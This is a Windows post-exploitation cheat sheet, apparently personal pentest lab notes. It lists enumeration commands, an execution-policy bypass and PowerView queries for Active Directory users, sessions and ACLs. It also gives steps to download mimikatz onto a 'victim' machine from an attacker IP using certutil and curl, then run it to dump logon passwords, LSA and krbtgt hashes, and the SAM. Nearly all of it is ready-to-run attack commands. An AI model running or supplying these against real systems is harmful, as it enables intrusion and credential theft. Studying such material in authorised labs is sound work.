1. Run - PATH=%PATH%;c:\windows\system32
Alternate PATH - PATH=%PATH%;C:\windows\system32;C:\windows;C:\windows\System32\Wbem;C:\windows\System32\WindowsPowerShell\v1.0;C:\windows\System32\OpenSSH;C:\Program Files\dotnet\
2. Use the binary directly from C:\Windows\System32\
whoami
whoami /all
whoami /user
whoami /priv
whoami /groups
net user
wmic <user>
dir env:
Get-LocalUser
net user
net user <username> /domain
# Check if account is active in domain
net localgroup administrators
net share
net computer <computer name>
net accounts # Get password requirements
Key information -
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Domain" /C:"Network Card"
Network information -
netstat -ano
ipconfig
Current Console
(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell
powershell -ep bypass
Import-Module .\PowerView.ps1
Commands:
Get-NetDomain OR Get-Domain
Get-NetUser
Get-NetUser -SPN | select samaccountname, serviceprincipalname
Get-NetUser (User CN name)
To filter the result, pipe the output in to a select statement
Example: Get-NetUser | select cn, name, pwdlastset, lastlogon
Get-NetGroup
Get-NetGroup <Group name>
To filter the result, pipe the output in to a select statement
Example: Get-NetGroup | select cn, member
Get-NetComputer
Get-NetComputer <Computer name>
To filter the result, pipe the output in to a select statement
Example: Get-NetComputer | select cn, operatingsystem, dnshostname
Find-LocalAdminAccess
Get-NetSession -ComputerName <Computer name> -Verbose - Used to find logged on users on target computer
Permissions for NetSessionEnum are defined in SrvsvcSessionInfo registry key (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity)
Get-NetComputer | Select-Object Name, @{Name='IPAddress';Expression={(Resolve-DnsName $_.Name).IPAddress}}
Get-Acl <Registry hive>:<Registry Key path> | fl
Get-ObjectAcl -Identity <user name | group name>
- Look for ActiveDirectoryRights, and SecurityIdentifier
Get-ObjectAcl -Identity <group name> | ?{$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
Get-ObjectAcl -Identity <group name> | ?{$_.ActiveDirectoryRights -eq "GenericWrite"} | select SecurityIdentifier,ActiveDirectoryRights
Convert-SIDToName <SID>
OR
"<SID>", "<SID>", "<SID>" | Convert-SIDToName
On the Attacker
/usr/share/peass/winpeas/winPEASx64.exe
wget https://github.com/peass-ng/PEASS-ng/releases/download/20250106-5a706ae2/winPEASx64.exe
/usr/share/peass/winpeas/winPEASx86.exe
wget https://github.com/peass-ng/PEASS-ng/releases/download/20250106-5a706ae2/winPEASx86.exe
Transfer the respective executable onto compromised system
Run the executable and enumerate the output
On Kali machine:
wget https://github.com/ParrotSec/mimikatz/blob/master/x64/mimikatz.exe
On Victim machine:
certutil -urlcache -split -f http://192.168.45.165/mimikatz.exe mimikatz.exe
curl http://192.168.45.165/mimikatz.exe -o mimikatz.exe
To Run:
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords # Find user NTLM hash
lsadump::lsa /patch # Find krbtgt NTLM hash
OR
Pass Mimikatz commands as arguments to the executable file
.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "sekurlsa::logonpasswords" "exit"